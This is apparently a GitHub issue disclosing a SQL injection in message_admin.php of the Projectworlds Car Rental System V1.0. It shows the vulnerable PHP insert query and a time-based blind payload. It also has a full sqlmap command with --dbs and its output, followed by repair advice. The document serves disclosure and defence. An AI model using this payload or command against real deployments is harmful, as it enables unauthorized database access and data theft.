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Projectworlds Car Rental System Project Project V1.0 / message_admin.php SQL injection #13

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Projectworlds Car Rental System Project Project V1.0 / message_admin.php SQL injection

NAME OF AFFECTED PRODUCT(S)

Car Rental System

Vendor Homepage

<https://projectworlds.com/free-projects/php-projects/car-rental-project-in-php-and-mysql/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

WangYiQi

Vulnerable File

/message_admin.php

VERSION(S)

V1.0

Software Link

<https://projectworlds.com/free-projects/php-projects/car-rental-project-in-php-and-mysql/>

PROBLEM TYPE

Vulnerability Type

SQL injection

Root Cause

A SQL injection vulnerability was found in the 'message_admin.php' file of the 'Car Rental System' project. The reason for this issue is that attackers inject malicious code from the parameter 'message' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

```
56     $message = $_POST['message'];
57
58     $qry = "INSERT INTO message (message,client_id,time,status)
59         VALUES('$message', '$_SESSION[email]',NOW(), 'Unread')";
60     $result = $conn->query($qry);
```

Impact

Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

During the security review of " Car Rental System ",I discovered a critical SQL injection vulnerability in the "message_admin.php " file. This vulnerability stems from insufficient user input validation of the 'message' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Location:

' message' parameter

Payload:

Parameter: message (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind

Payload: message=nihao' RLIKE SLEEP(5) AND 'ixEP'='ixEP&send=Send Message

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u " http://192.168.1.185/Car-Rental-Syatem-PHP-MYSQL-master/Car-Rental-Syatem-PHP-MYSQL-master/message\_admin.php " --data=" message=nihao' RLIKE SLEEP(5) AND 'ixEP'='ixEP&send=Send Message " --dbs
```

```
[10:21:18] [INFO] checking if the injection point on POST parameter 'message' is a false positive
POST parameter 'message' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1755 HTTP(s) requests:
-----
Parameter: message (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 RLIKE time-based blind
  Payload: message=nihao' RLIKE SLEEP(5) AND 'ixEP'='ixEP&send=Send Message
-----
[10:21:54] [INFO] the back-end DBMS is MySQL
[10:21:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[10:21:54] [INFO] fetching database names
```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[CVE-messcar.docx](#)

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Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects


Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode

No branches or pull requests

Participants

